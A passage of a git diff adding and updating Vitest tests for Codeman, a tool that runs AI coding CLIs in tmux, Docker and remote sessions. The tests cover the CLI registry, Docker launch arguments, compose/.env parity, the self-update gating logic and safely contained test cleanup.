only, which left + // the CLI looking in the home default: `codeman skill install --case ` + // then reported "Case not found" on exactly the deployment it exists for. + const saved = process.env.CODEMAN_CASES_PATH; + afterEach(() => { + if (saved === undefined) delete process.env.CODEMAN_CASES_PATH; + else process.env.CODEMAN_CASES_PATH = saved; + }); + + it('moves the CLI and the server together', () => { + process.env.CODEMAN_CASES_PATH = '/srv/codeman-cases'; + expect(getCasesDir()).toBe('/srv/codeman-cases'); + expect(resolveCliCasePath('demo')).toBe(join('/srv/codeman-cases', 'demo')); + }); + + it('falls back to the home default when unset', () => { + delete process.env.CODEMAN_CASES_PATH; + expect(getCasesDir()).toBe(CASES_DIR); + expect(resolveCliCasePath('demo')).toBe(join(CASES_DIR, 'demo')); + }); + + it('still lets a linked case win over the override', () => { + // The registry lookup runs first, so a case linked in from outside the cases + // dir keeps resolving to its real location under Compose too. + process.env.CODEMAN_CASES_PATH = '/srv/codeman-cases'; + writeLinkedCases(JSON.stringify({ linked: join(LINKED_ROOT, 'linked') })); + expect(resolveCliCasePath('linked')).toBe(join(LINKED_ROOT, 'linked')); + }); +}); diff --git a/test/command-palette-ui.test.ts b/test/command-palette-ui.test.ts index de8df0a2..263d9b6a 100644 --- a/test/command-palette-ui.test.ts +++ b/test/command-palette-ui.test.ts @@ -401,7 +401,7 @@ describe('Session Manager unified list', () => { const [historyRecord, , historyOptions] = app._buildHistoryItem.mock.calls[1]; expect(historyRecord).toMatchObject({ sessionId: 'conv-uuid-1', sizeBytes: 2048, firstPrompt: 'old prompt' }); historyOptions.onActivate(); - expect(app.resumeHistorySession).toHaveBeenCalledWith('conv-uuid-1', '/repo/old'); + expect(app.resumeHistorySession).toHaveBeenCalledWith('conv-uuid-1', '/repo/old', undefined, undefined); }); it('surfaces an error message instead of an empty list when the endpoint fails', async () => { diff --git a/test/deepseek-mode.test.ts b/test/deepseek-mode.test.ts index 6e5501e4..b5322d77 100644 --- a/test/deepseek-mode.test.ts +++ b/test/deepseek-mode.test.ts @@ -275,8 +275,13 @@ describe('DeepSeek status bridge', () => { // Those sessions must keep the pane segmenter. Static, because standing up // a docker/remote session in the unit harness is exactly what the tmux // test-mode mocks exist to avoid. + // + // The mode check itself is now a capability read (`transcript === 'deepseek-zstd'`) — + // which reader understands this CLI's on-disk history is exactly the kind of fact the + // CLI registry owns. What this test guards is unchanged and is the part that matters: + // the two LOCATION exclusions beside it. const routes = readFileSync(join(process.cwd(), 'src/web/routes/session-routes.ts'), 'utf-8'); - expect(routes).toMatch(/session\.mode === 'deepseek' && !session\.docker && !session\.remote/); + expect(routes).toMatch(/capabilities\.transcript === 'deepseek-zstd' && !session\.docker && !session\.remote/); }); it('maps the harness lifecycle states onto real hook events', () => { diff --git a/test/dependency-checker.test.ts b/test/dependency-checker.test.ts index 13b7f0b5..70e69bd5 100644 --- a/test/dependency-checker.test.ts +++ b/test/dependency-checker.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect } from 'vitest'; -import { DEPENDENCY_REGISTRY } from '../src/config/dependency-registry.js'; +import { dependencyRegistry } from '../src/config/dependency-registry.js'; import { detectEnvironment, extractVersion, @@ -11,41 +11,73 @@ import { import type { ProbeHost } from '../src/utils/dependency-checker.js'; import type { ProbeEnvironment, ToolDependency } from '../src/config/dependency-registry.js'; import { PI_VERSION_REGEX } from '../src/utils/pi-cli-resolver.js'; +import { GROK_VERSION_REGEX } from '../src/utils/grok-cli-resolver.js'; +import { DEEPSEEK_VERSION_REGEX } from '../src/utils/deepseek-cli-resolver.js'; +import { enabledClis } from '../src/config/cli-registry/registry.js'; -describe('DEPENDENCY_REGISTRY', () => { +describe('dependencyRegistry()', () => { it('has unique ids', () => { - const ids = DEPENDENCY_REGISTRY.map((t) => t.id); + const ids = dependencyRegistry().map((t) => t.id); expect(new Set(ids).size).toBe(ids.length); }); it('hard-requires only node and tmux; agent CLIs and office are optional', () => { - const required = DEPENDENCY_REGISTRY.filter((t) => t.required) + const required = dependencyRegistry() + .filter((t) => t.required) .map((t) => t.id) .sort(); expect(required).toEqual(['node', 'tmux']); // all agent CLIs are optional (Codeman runs any of them) const agentClis = ['claude', 'opencode', 'codex']; - expect(DEPENDENCY_REGISTRY.filter((t) => agentClis.includes(t.id)).every((t) => t.required === false)).toBe(true); - const office = DEPENDENCY_REGISTRY.filter((t) => t.category === 'office'); + expect( + dependencyRegistry() + .filter((t) => agentClis.includes(t.id)) + .every((t) => t.required === false) + ).toBe(true); + const office = dependencyRegistry().filter((t) => t.category === 'office'); expect(office.every((t) => t.required === false)).toBe(true); }); - it('resolves pi through the SAME version rule the run mode uses', () => { - // `pi` is a short generic name, so pi-cli-resolver.ts refuses a binary that does not - // print semver. If the doctor did not apply the identical rule it would report - // "Pi CLI ✓" on a box where Run Pi stays hidden, which reads as a broken mode - // rather than a missing install. One regex, shared, is what keeps them agreeing. - const pi = DEPENDENCY_REGISTRY.find((t) => t.id === 'pi'); - expect(pi).toBeDefined(); - const spec = pi!.resolvers.find((r) => r.resolver.kind === 'path'); + it.each([ + ['pi', PI_VERSION_REGEX], + ['grok', GROK_VERSION_REGEX], + ['dsh', DEEPSEEK_VERSION_REGEX], + ])('resolves %s through the SAME version rule the run mode uses', (id, expected) => { + // These three have short, generic or squatted binary names, so their resolvers refuse a + // binary that does not print the right shape of version. If the doctor did not apply the + // identical rule it would report "Pi CLI ✓" on a box where Run Pi stays hidden, which + // reads as a broken mode rather than a missing install. + // + // Both sides now read one registry entry, so they cannot drift — but the assertion + // compares SOURCE rather than object identity, because the doctor compiles the entry's + // serialized pattern through compileVersionRegex()'s ReDoS guard rather than importing + // the resolver's own RegExp object. + const tool = dependencyRegistry().find((t) => t.id === id); + expect(tool).toBeDefined(); + const spec = tool!.resolvers.find((r) => r.resolver.kind === 'path'); expect(spec).toBeDefined(); const resolver = spec!.resolver as { versionRegex?: RegExp; requireVersionMatch?: boolean }; expect(resolver.requireVersionMatch).toBe(true); - expect(resolver.versionRegex).toBe(PI_VERSION_REGEX); + expect(resolver.versionRegex?.source).toBe(expected.source); + }); + + it('keeps a doctor row for every CLI that has a binary to probe', () => { + // An earlier draft of the registry refactor silently dropped the grok and dsh rows, so + // `codeman doctor` stopped reporting two shipped CLIs entirely. Derive the expectation + // from the registry so this cannot pass by being updated to match a shrunken table. + const probeable = enabledClis().filter((c) => c.discovery.binaries.length > 0); + expect(probeable.length).toBeGreaterThanOrEqual(8); + for (const cli of probeable) { + const bin = cli.discovery.binaries[0]; + const row = dependencyRegistry().find((t) => + t.resolvers.some((r) => r.resolver.kind === 'path' && r.resolver.bins.includes(bin)) + ); + expect(row, `no codeman doctor row probes ${bin} (for CLI "${cli.id as string}")`).toBeDefined(); + } }); it('gives msoffice a windows-side resolver scoped to wsl + win32 only', () => { - const ms = DEPENDENCY_REGISTRY.find((t) => t.id === 'msoffice'); + const ms = dependencyRegistry().find((t) => t.id === 'msoffice'); expect(ms).toBeDefined(); const spec = ms!.resolvers.find((r) => r.resolver.kind === 'windows-side'); expect(spec).toBeDefined(); diff --git a/test/docker-adopted-container.test.ts b/test/docker-adopted-container.test.ts index 62d26cfd..fd57fcd8 100644 --- a/test/docker-adopted-container.test.ts +++ b/test/docker-adopted-container.test.ts @@ -18,7 +18,9 @@ import { removeDockerContainer, checkDockerConfigDrift, dockerConfigHash, + dockerAdoptProbeModes, } from '../src/docker-hosts.js'; +import { enabledCliIds, getCli } from '../src/config/cli-registry/index.js'; import { buildDockerLaunchCommand, buildDockerStopCommand, @@ -201,15 +203,17 @@ describe('adopted container: claude as root', () => { describe('adopted container: the host is not required to have the CLI', () => { const src = readFileSync(new URL('../src/tmux-manager.ts', import.meta.url), 'utf8'); - it('skips every host CLI requirement for a docker session', () => { + it('skips the host CLI requirement for a docker session', () => { // A docker session runs its CLI inside the container. Demanding it on the // host threw, the catch fell back to a direct PTY, and that PTY tried to // exec the CLI on the HOST — surfacing as a bare `execvp(3) failed` with // nothing naming the real cause. - const guarded = src.match(/!cliRunsInContainer && mode === '/g) || []; - const unguarded = src.match(/\n if \(mode === '[a-z]+' && !cliDir\)/g) || []; - expect(guarded.length).toBeGreaterThanOrEqual(7); - expect(unguarded).toHaveLength(0); + // + // The CLI registry collapsed the old per-mode `mode === 'claude' && !cliDir` chain + // into ONE `missingCliMessage(mode)` gate, so the guarantee is now that the single + // gate carries the docker exemption and that no per-mode arm has grown back. + expect(src).toContain('if (!cliRunsInContainer && !cliDir) {'); + expect(src.match(/if \(mode === '[a-z]+' && !cliDir\)/g)).toBeNull(); }); it('derives the flag from the docker metadata the session already carries', () => { @@ -364,3 +368,23 @@ describe('adopted container: drift is not evaluated', () => { expect(status.drifted).toBe(false); }); }); + +describe('adopted container: probe modes come from the CLI registry', () => { + it('probes every enabled CLI, so a newly-enabled one needs no second list', () => { + // A hand-written list here silently froze: `omp` shipped in 1.24.0 and was + // missing from it, which hid the omp run mode on EVERY docker case — owned + // ones included, since the run menu gates on this same probe. + const modes = dockerAdoptProbeModes(); + expect(modes).toEqual(enabledCliIds()); + expect(modes).toContain('omp'); + expect(modes).toContain('shell'); + }); + + it('resolves the real binary name, not the mode name', () => { + // `antigravity` ships as `agy` and `deepseek` as `dsh`, so a mode-name probe + // would report both as missing on a container that has them. + expect(getCli('antigravity')?.discovery.binaries[0]).toBe('agy'); + expect(getCli('deepseek')?.discovery.binaries[0]).toBe('dsh'); + expect(getCli('shell')?.discovery.binaries[0]).toBeUndefined(); + }); +}); diff --git a/test/docker-compose-env-parity.test.ts b/test/docker-compose-env-parity.test.ts new file mode 100644 index 00000000..be6260c4 --- /dev/null +++ b/test/docker-compose-env-parity.test.ts @@ -0,0 +1,81 @@ +/** + * @fileoverview Static parity check between docker/docker-compose.yaml and + * docker/.env.example. + * + * This is the MERGE GATE for the container environment. A feature that needs a + * new setting must add it to BOTH files; forgetting one is what produces the + * failure the in-app updater cannot defend against, because Compose resolves an + * unset `${VAR}` to the EMPTY STRING and starts anyway — the container comes up + * with a silently blank setting and misbehaves later, far from the cause. + * + * Failing here costs a line in a PR. Failing in production costs a debugging + * session on someone else's server. Related: docs/docker-self-update.md. + */ + +import { describe, it, expect } from 'vitest'; +import { readFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { parseEnvKeys } from '../src/web/self-update.js'; + +const DOCKER_DIR = join(process.cwd(), 'docker'); +const compose = readFileSync(join(DOCKER_DIR, 'docker-compose.yaml'), 'utf-8'); +const example = readFileSync(join(DOCKER_DIR, '.env.example'), 'utf-8'); + +/** + * Every `${VAR}` / `${VAR:-default}` the compose file interpolates. Compose's + * own built-ins are excluded — they are supplied by Compose, not by .env. + */ +function composeVariables(text: string): string[] { + const found = new Set(); + for (const m of text.matchAll(/\$\{([A-Z_][A-Z0-9_]*)(?::?-[^}]*)?\}/g)) found.add(m[1]); + return [...found].sort(); +} + +/** Keys .env.example mentions at all, including the commented-out optional ones. */ +function documentedKeys(text: string): Set { + const keys = new Set(parseEnvKeys(text)); + for (const m of text.matchAll(/^#\s*([A-Z_][A-Z0-9_]*)=/gm)) keys.add(m[1]); + return keys; +} + +/** + * Variables Compose or the start script provides, which therefore need no entry + * in .env.example. Keep this list SHORT and justified — every addition is a + * setting the parity check stops guarding. + */ +const PROVIDED_ELSEWHERE = new Set([ + // Derived by docker/Start-Codeman.sh from the appdata dir and socket owner. + 'PUID', + 'PGID', + 'DOCKER_SOCKET_GID', +]); + +/** + * Keys .env.example sets for an OVERRIDE documented in docker/README.md (the + * macvlan networking example), which the base compose file deliberately does not + * read. They are settings for a file that is not this one, not dead entries. + */ +const EXAMPLE_ONLY_KEYS = new Set([ + 'CODEMAN_MACVLAN_NETWORK', + 'CODEMAN_IPV4_ADDRESS', + 'CODEMAN_MAC_ADDRESS', + 'CODEMAN_MACVLAN_PARENT', + 'CODEMAN_MACVLAN_SUBNET', + 'CODEMAN_MACVLAN_GATEWAY', +]); + +describe('docker compose ↔ .env.example parity', () => { + it('every variable the compose file reads is documented in .env.example', () => { + const documented = documentedKeys(example); + const undocumented = composeVariables(compose).filter((v) => !documented.has(v) && !PROVIDED_ELSEWHERE.has(v)); + expect(undocumented, `add these to docker/.env.example: ${undocumented.join(', ')}`).toEqual([]); + }); + + it('every key .env.example SETS is actually read by the compose file', () => { + // Commented-out entries are exempt: they document optional overrides and + // example-only values (the macvlan block) that the base file never reads. + const used = new Set(composeVariables(compose)); + const unused = parseEnvKeys(example).filter((k) => !used.has(k) && !EXAMPLE_ONLY_KEYS.has(k)); + expect(unused, `these are set in .env.example but unused: ${unused.join(', ')}`).toEqual([]); + }); +}); diff --git a/test/docker-exec-options.test.ts b/test/docker-exec-options.test.ts index e89fc0ac..ad1c061d 100644 --- a/test/docker-exec-options.test.ts +++ b/test/docker-exec-options.test.ts @@ -80,6 +80,26 @@ describe('buildDockerLaunchCommand', () => { expect(cmd).toContain("docker start 'codeman-case-myproj'"); }); + it('avoids eager create expansion, tolerates a concurrent creator, and preserves real failures in compatibility mode', () => { + const opts = launchOpts(); + opts.createContext.disableSwapLimit = true; + const cmd = buildDockerLaunchCommand(opts); + // No command substitution or shell variables: either could expand eagerly + // before the inspect side of || short-circuits in a nested launch shell. + expect(cmd).not.toContain('$('); + expect(cmd).not.toContain('codeman_create_output'); + expect(cmd).toContain('if docker create'); + expect(cmd).toContain("'/tmp/codeman-create-1a2b3c4d5e6f.log'"); + // If another session created the case between inspect and create, re-inspect + // succeeds and the losing creator continues without printing the conflict. + expect(cmd).toContain("elif docker inspect 'codeman-case-myproj' >/dev/null 2>&1; then rm -f"); + expect(cmd).toContain('Your kernel does not support swap limit capabilities'); + expect(cmd).toContain('else sed'); + expect(cmd).toContain('>&2; rm -f'); + expect(cmd).toContain('; false; fi;'); + expect(cmd).not.toContain('--memory-swap'); + }); + it('execs a TTY into the durable in-container tmux', () => { const cmd = buildDockerLaunchCommand(launchOpts()); expect(cmd).toContain("exec docker exec -it --workdir '/home/arkon/cases/myproj'"); diff --git a/test/docker-hosts.test.ts b/test/docker-hosts.test.ts index 3d848433..ca2aee9d 100644 --- a/test/docker-hosts.test.ts +++ b/test/docker-hosts.test.ts @@ -32,6 +32,7 @@ import { resolveClaudeJsonSeedMount, resolveDockerClaudeArtifacts, resolveDockerCredentialArtifacts, + resolveDockerDaemonMountSource, toSessionDocker, writeDockerCases, writeDockerHosts, @@ -267,6 +268,32 @@ describe('buildDockerCreateArgs', () => { expect(s).not.toContain('--storage-opt'); expect(buildDockerCreateArgs(ctx()).join(' ')).not.toContain('--gpus'); }); + + it('omits the unsupported swap limit while retaining the memory limit when disabled', () => { + const s = buildDockerCreateArgs(ctx({ disableSwapLimit: true })).join(' '); + expect(s).toContain('--memory 4g'); + expect(s).not.toContain('--memory-swap'); + }); +}); + +describe('resolveDockerDaemonMountSource', () => { + const runtimeHome = join(tmpdir(), 'codeman-runtime-home'); + const daemonHome = join(tmpdir(), 'codeman-daemon-home'); + + it('maps paths beneath the runtime HOME into the daemon-visible HOME', () => { + const source = join(runtimeHome, '.codeman', 'docker-seeds', 'codeman-case-test1.json'); + expect(resolveDockerDaemonMountSource(source, runtimeHome, daemonHome)).toBe( + join(daemonHome, '.codeman', 'docker-seeds', 'codeman-case-test1.json') + ); + }); + + it('preserves direct-host and non-HOME sources', () => { + const source = join(runtimeHome, '.claude', 'settings.json'); + expect(resolveDockerDaemonMountSource(source, runtimeHome)).toBe(source); + + const outsideHome = join(tmpdir(), 'codeman-cases', 'test1'); + expect(resolveDockerDaemonMountSource(outsideHome, runtimeHome, daemonHome)).toBe(outsideHome); + }); }); describe('resolveDockerCredentialArtifacts (isolated codex/gemini/gcloud/opencode)', () => { @@ -329,6 +356,32 @@ describe('resolveDockerCredentialArtifacts (isolated codex/gemini/gcloud/opencod expect(mounts).toEqual([]); expect(seedCopies).toEqual([]); }); + + it('omp: shares sessions/ RW (host-side history/resume reads), seeds config files only', () => { + mkdirSync(join(home, '.omp', 'agent', 'sessions'), { recursive: true }); + writeFileSync(join(home, '.omp', 'agent', 'config.yml'), ''); + writeFileSync(join(home, '.omp', 'agent', 'mcp.json'), '{}'); + writeFileSync(join(home, '.omp', 'agent', 'models.yml'), ''); + writeFileSync(join(home, '.omp', 'agent', 'settings.yml'), ''); + // Regenerable local state that must NOT be seeded (mirrors the pi/grok exclusions). + writeFileSync(join(home, '.omp', 'agent', 'agent.db'), ''); + mkdirSync(join(home, '.omp', 'agent', 'terminal-sessions'), { recursive: true }); + + const { mounts, seedCopies } = resolveDockerCredentialArtifacts(home); + expect(mounts).toContainEqual({ + src: join(home, '.omp', 'agent', 'sessions'), + dst: '/home/agent/.omp/agent/sessions', + }); + const dests = seedCopies.map((s) => s.to); + expect(dests).toContain('/home/agent/.omp/agent/config.yml'); + expect(dests).toContain('/home/agent/.omp/agent/mcp.json'); + expect(dests).toContain('/home/agent/.omp/agent/models.yml'); + expect(dests).toContain('/home/agent/.omp/agent/settings.yml'); + expect(dests).not.toContain('/home/agent/.omp/agent/agent.db'); + expect(mounts.some((m) => m.dst === '/home/agent/.omp/agent/terminal-sessions')).toBe(false); + // seed copies of individual files are NOT recursive + expect(seedCopies.filter((s) => s.to.startsWith('/home/agent/.omp')).every((s) => !s.recursive)).toBe(true); + }); }); describe('resolveDockerClaudeArtifacts (isolated claude state)', () => { diff --git a/test/docker-self-update.test.ts b/test/docker-self-update.test.ts new file mode 100644 index 00000000..1cd429a7 --- /dev/null +++ b/test/docker-self-update.test.ts @@ -0,0 +1,169 @@ +/** + * @fileoverview Unit tests for the Docker Compose self-update path. + * + * Covers the PURE half of the container environment gate: which release changes + * can be applied by the container restarting itself, and which must go back to + * the host. The IO half (`evaluateEnvironmentGate`) shells out to git and docker + * and is exercised by hand — see docs/docker-self-update.md. + */ + +import { describe, it, expect } from 'vitest'; +import { + canSelfUpdateInPlace, + computeEnvironmentBlockers, + diffRequiredEnvKeys, + isAutoRestartPolicy, + parseEnvKeys, + shouldRestartByExit, + type EnvironmentGateInput, +} from '../src/web/self-update.js'; + +/** A gate input where nothing has changed — each test perturbs one field. */ +const CLEAN: EnvironmentGateInput = { + appliedDockerfileHash: 'aaa', + targetDockerfileHash: 'aaa', + appliedComposeHash: 'bbb', + targetComposeHash: 'bbb', + missingEnvKeys: [], + restartPolicy: 'unless-stopped', +}; + +describe('canSelfUpdateInPlace', () => { + it('accepts git and docker-compose, rejects npm and unknown', () => { + expect(canSelfUpdateInPlace('git')).toBe(true); + expect(canSelfUpdateInPlace('docker-compose')).toBe(true); + expect(canSelfUpdateInPlace('npm')).toBe(false); + // A container with no repo mounted: a pull would land in the writable layer. + expect(canSelfUpdateInPlace('unknown')).toBe(false); + }); +}); + +describe('parseEnvKeys', () => { + it('reads set keys and ignores blanks, comments and values', () => { + expect(parseEnvKeys('A=1\n\nB=two words\n')).toEqual(['A', 'B']); + }); + + it('does NOT treat a commented-out key as set', () => { + // .env.example documents optional overrides as `# PUID=1000`. Counting those + // as required would block every update on settings the user should not set. + expect(parseEnvKeys('# PUID=1000\nCODEMAN_PORT=3000')).toEqual(['CODEMAN_PORT']); + }); + + it('handles `export` prefixes and repeated keys', () => { + expect(parseEnvKeys('export A=1\nA=2\n')).toEqual(['A']); + }); + + it('ignores lines that are not assignments', () => { + expect(parseEnvKeys('just a line\n=novalue\n1BAD=x\nOK=y')).toEqual(['OK']); + }); +}); + +describe('diffRequiredEnvKeys', () => { + it('reports keys the release added that the user has no value for', () => { + expect(diffRequiredEnvKeys('A=\nB=\nC=', 'A=1\nC=3')).toEqual(['B']); + }); + + it('ignores keys the user set that the release dropped', () => { + expect(diffRequiredEnvKeys('A=', 'A=1\nOBSOLETE=2')).toEqual([]); + }); + + it('counts a key the user set to an EMPTY value as present', () => { + // `GEMINI_API_KEY=` is a deliberate opt-out, not a missing setting. + expect(diffRequiredEnvKeys('GEMINI_API_KEY=', 'GEMINI_API_KEY=')).toEqual([]); + }); +}); + +describe('isAutoRestartPolicy', () => { + it('accepts the policies that relaunch the container after the server exits', () => { + expect(isAutoRestartPolicy('unless-stopped')).toBe(true); + expect(isAutoRestartPolicy('always')).toBe(true); + expect(isAutoRestartPolicy('on-failure')).toBe(true); + }); + + it('rejects "no" and unknown values', () => { + expect(isAutoRestartPolicy('no')).toBe(false); + expect(isAutoRestartPolicy('')).toBe(false); + expect(isAutoRestartPolicy(null)).toBe(false); + }); +}); + +describe('shouldRestartByExit', () => { + it('exits when the Compose file declared it, whatever the daemon says', () => { + expect(shouldRestartByExit(true, null)).toBe(true); + expect(shouldRestartByExit(true, 'unless-stopped')).toBe(true); + }); + + it('exits when the daemon confirms an auto-restart policy', () => { + expect(shouldRestartByExit(false, 'unless-stopped')).toBe(true); + expect(shouldRestartByExit(false, 'always')).toBe(true); + }); + + // ⚠️ The gate fails open on an unknown policy; the KILL must not. A container + // nothing restarts would otherwise go down with no UI left to recover it. + it('does NOT exit on an unknown or non-restarting policy without the declaration', () => { + expect(shouldRestartByExit(false, null)).toBe(false); + expect(shouldRestartByExit(false, 'no')).toBe(false); + expect(shouldRestartByExit(false, '')).toBe(false); + }); +}); + +describe('computeEnvironmentBlockers', () => { + it('allows a code-only release', () => { + expect(computeEnvironmentBlockers(CLEAN)).toEqual([]); + }); + + it('blocks a release that changes the Dockerfile', () => { + const blockers = computeEnvironmentBlockers({ ...CLEAN, targetDockerfileHash: 'zzz' }); + expect(blockers.map((b) => b.kind)).toEqual(['dockerfile-changed']); + }); + + it('blocks a release that changes the compose file', () => { + const blockers = computeEnvironmentBlockers({ ...CLEAN, targetComposeHash: 'zzz' }); + expect(blockers.map((b) => b.kind)).toEqual(['compose-changed']); + }); + + it('blocks and NAMES missing env keys', () => { + const blockers = computeEnvironmentBlockers({ ...CLEAN, missingEnvKeys: ['CODEMAN_NEW_THING'] }); + expect(blockers[0].kind).toBe('env-keys-missing'); + expect(blockers[0].details).toEqual(['CODEMAN_NEW_THING']); + }); + + it('blocks when the container would not come back', () => { + const blockers = computeEnvironmentBlockers({ ...CLEAN, restartPolicy: 'no' }); + expect(blockers.map((b) => b.kind)).toEqual(['no-auto-restart']); + // The message says which policy, so the fix is obvious from the UI alone. + expect(blockers[0].message).toContain('"no"'); + }); + + it('reports every blocker at once rather than stopping at the first', () => { + const blockers = computeEnvironmentBlockers({ + ...CLEAN, + targetDockerfileHash: 'zzz', + targetComposeHash: 'yyy', + missingEnvKeys: ['A'], + restartPolicy: 'no', + }); + expect(blockers.map((b) => b.kind)).toEqual([ + 'dockerfile-changed', + 'compose-changed', + 'env-keys-missing', + 'no-auto-restart', + ]); + }); + + // ⚠️ Regression guards for the fail-OPEN decisions. An unknown baseline is not + // evidence of a change, and failing closed there would permanently block every + // container created before the fingerprint file existed. + it('does not block when the applied baseline is unknown', () => { + expect(computeEnvironmentBlockers({ ...CLEAN, appliedDockerfileHash: null, appliedComposeHash: null })).toEqual([]); + }); + + it('does not block when the target files cannot be read', () => { + expect(computeEnvironmentBlockers({ ...CLEAN, targetDockerfileHash: null, targetComposeHash: null })).toEqual([]); + }); + + it('does not block when the restart policy is unknown', () => { + // The probe needs the Docker socket, which a user may not have mounted. + expect(computeEnvironmentBlockers({ ...CLEAN, restartPolicy: null })).toEqual([]); + }); +}); diff --git a/test/edge-cases.test.ts b/test/edge-cases.test.ts index 8ceec2ae..576b442a 100644 --- a/test/edge-cases.test.ts +++ b/test/edge-cases.test.ts @@ -1,8 +1,8 @@ import { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest'; import { WebServer } from '../src/web/server.js'; -import { existsSync, rmSync } from 'node:fs'; import { join } from 'node:path'; import { homedir } from 'node:os'; +import { safeRmHomeTree } from './mocks/index.js'; const TEST_PORT = 3110; const CASES_DIR = join(homedir(), 'codeman-cases'); @@ -19,13 +19,12 @@ describe('Edge Cases and Error Handling', () => { }); afterEach(() => { - // Clean up cases created during this test + // Clean up cases created during this test. SAFETY: CASES_DIR is + // homedir()-derived, which on some platforms ignores the test HOME — the + // containment gate refuses to delete anything not under the temp HOME. while (createdCases.length > 0) { const caseName = createdCases.pop()!; - const casePath = join(CASES_DIR, caseName); - if (existsSync(casePath)) { - rmSync(casePath, { recursive: true, force: true }); - } + safeRmHomeTree(join(CASES_DIR, caseName)); } }); @@ -349,15 +348,9 @@ describe('Concurrent Session Handling', () => { } } - // Cleanup - const { rmSync, existsSync } = await import('node:fs'); - const { join } = await import('node:path'); - const { homedir } = await import('node:os'); + // Cleanup (containment-gated: never touch prod ~/codeman-cases) for (const name of createdCases) { - const path = join(homedir(), 'codeman-cases', name); - if (existsSync(path)) { - rmSync(path, { recursive: true, force: true }); - } + safeRmHomeTree(join(homedir(), 'codeman-cases', name)); } }); }); diff --git a/test/integration-flows.test.ts b/test/integration-flows.test.ts index 727c7ebb..2d38aa89 100644 --- a/test/integration-flows.test.ts +++ b/test/integration-flows.test.ts @@ -1,8 +1,8 @@ import { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest'; import { WebServer } from '../src/web/server.js'; -import { existsSync, rmSync } from 'node:fs'; import { join } from 'node:path'; import { homedir } from 'node:os'; +import { safeRmHomeTree } from './mocks/index.js'; const TEST_PORT = 3115; const CASES_DIR = join(homedir(), 'codeman-cases'); @@ -24,13 +24,11 @@ describe('Integration Flows', () => { }); afterEach(() => { - // Clean up cases created during this test + // Clean up cases created during this test (containment-gated: never + // delete a case dir outside the temp HOME, e.g. prod ~/codeman-cases on + // platforms where os.homedir() ignores $HOME). while (createdCases.length > 0) { - const caseName = createdCases.pop()!; - const casePath = join(CASES_DIR, caseName); - if (existsSync(casePath)) { - rmSync(casePath, { recursive: true, force: true }); - } + safeRmHomeTree(join(CASES_DIR, createdCases.pop()!)); } }); @@ -296,10 +294,7 @@ describe('SSE Event Flow', () => { } catch {} } for (const caseName of createdCases) { - const casePath = join(CASES_DIR, caseName); - if (existsSync(casePath)) { - rmSync(casePath, { recursive: true, force: true }); - } + safeRmHomeTree(join(CASES_DIR, caseName)); } await server.stop(); }, 60000); diff --git a/test/location-overlay-commands.test.ts b/test/location-overlay-commands.test.ts new file mode 100644 index 00000000..b573127f --- /dev/null +++ b/test/location-overlay-commands.test.ts @@ -0,0 +1,63 @@ +/** + * @fileoverview Golden pins for the remote/docker LOCATION OVERLAY commands, now that both + * are read from `overlays.` on the registry entry rather than from a hardcoded + * `Record<…CommandMode, string>` in each file. + * + * The literals below are transcribed from those two tables as they stood BEFORE the wiring, + * which is the whole point: the tables were dead-simple duplicates of registry data with + * nothing keeping the two in step, and the way to delete a duplicate safely is to pin what it + * produced first. A diff here means an entry's `overlays` (or its first declared binary) + * changed what a remote or in-container pane actually runs. + * + * Note the two arms deliberately NOT read from an entry, each for its own reason: remote + * `shell` resolves the REMOTE user's login shell (unknowable from here, hence `$SHELL`), and + * docker `shell` is the entry that declares `docker: { disabled: true }` — a container has no + * per-user login shell to resolve, so it gets a plain `bash -l`. + * + * Port: none (pure, over registry data). + */ + +import { it, expect } from 'vitest'; +import { defaultRemoteCommandForMode, remoteLoginShellCommand } from '../src/remote-hosts.js'; +import { defaultDockerCommandForMode } from '../src/docker-hosts.js'; +import type { SessionMode } from '../src/types/session.js'; + +const REMOTE_LOGIN_SHELL = '"${SHELL:-/bin/sh}"'; + +it('pins every remote pane command', () => { + const expected: Record = { + shell: `exec ${REMOTE_LOGIN_SHELL} -i -l`, + claude: remoteLoginShellCommand('claude --dangerously-skip-permissions'), + opencode: remoteLoginShellCommand('opencode'), + codex: remoteLoginShellCommand('codex'), + gemini: remoteLoginShellCommand('gemini'), + antigravity: remoteLoginShellCommand('agy'), + pi: remoteLoginShellCommand('pi'), + grok: remoteLoginShellCommand('grok'), + deepseek: remoteLoginShellCommand('dsh'), + omp: remoteLoginShellCommand('omp'), + }; + for (const [mode, want] of Object.entries(expected)) { + expect(defaultRemoteCommandForMode(mode as SessionMode), mode).toBe(want); + } + expect(defaultRemoteCommandForMode('nope' as SessionMode)).toBe(expected.shell); +}); + +it('pins every in-container pane command', () => { + const expected: Record = { + shell: 'exec bash -l', + claude: 'exec claude --dangerously-skip-permissions', + opencode: 'exec opencode', + codex: 'exec codex', + gemini: 'exec gemini', + antigravity: 'exec agy', + pi: 'exec pi', + grok: 'exec grok', + deepseek: 'exec dsh', + omp: 'exec omp', + }; + for (const [mode, want] of Object.entries(expected)) { + expect(defaultDockerCommandForMode(mode as SessionMode), mode).toBe(want); + } + expect(defaultDockerCommandForMode('nope' as SessionMode)).toBe('exec bash -l'); +}); diff --git a/test/mobile-overview.test.ts b/test/mobile-overview.test.ts index 1bfc8eb8..e389908c 100644 --- a/test/mobile-overview.test.ts +++ b/test/mobile-overview.test.ts @@ -433,6 +433,7 @@ describe('mobile overview run picker (CLI availability gating)', () => { 'pi', 'grok', 'deepseek', + 'omp', 'shell', ]); }); @@ -447,7 +448,7 @@ describe('mobile overview run picker (CLI availability gating)', () => { src.indexOf('];', src.indexOf('const MOBILE_OVERVIEW_RUN_MODES')) + 2 ); const offered = [...modesBlock.matchAll(/mode: '([^']+)'/g)].map((m) => m[1]); - expect(offered).toContain('antigravity'); + expect(offered).toContain('omp'); const fn = src.slice(src.indexOf('_buildMobileOverviewRunMenu() {')); const gate = fn.slice(0, fn.indexOf('const header')); expect(gate).toContain('isCliAvailable'); diff --git a/test/mocks/index.ts b/test/mocks/index.ts index 0a17f837..2a696c2d 100644 --- a/test/mocks/index.ts +++ b/test/mocks/index.ts @@ -7,5 +7,5 @@ export { MockSession, createMockSession, terminalOutputs } from './mock-session.js'; export { MockStateStore } from './mock-state-store.js'; -export { waitForEvent, createDeferred } from './test-helpers.js'; +export { waitForEvent, createDeferred, safeRmHomeTree, isUnderTestHome } from './test-helpers.js'; export { createMockRouteContext, type MockRouteContext } from './mock-route-context.js'; diff 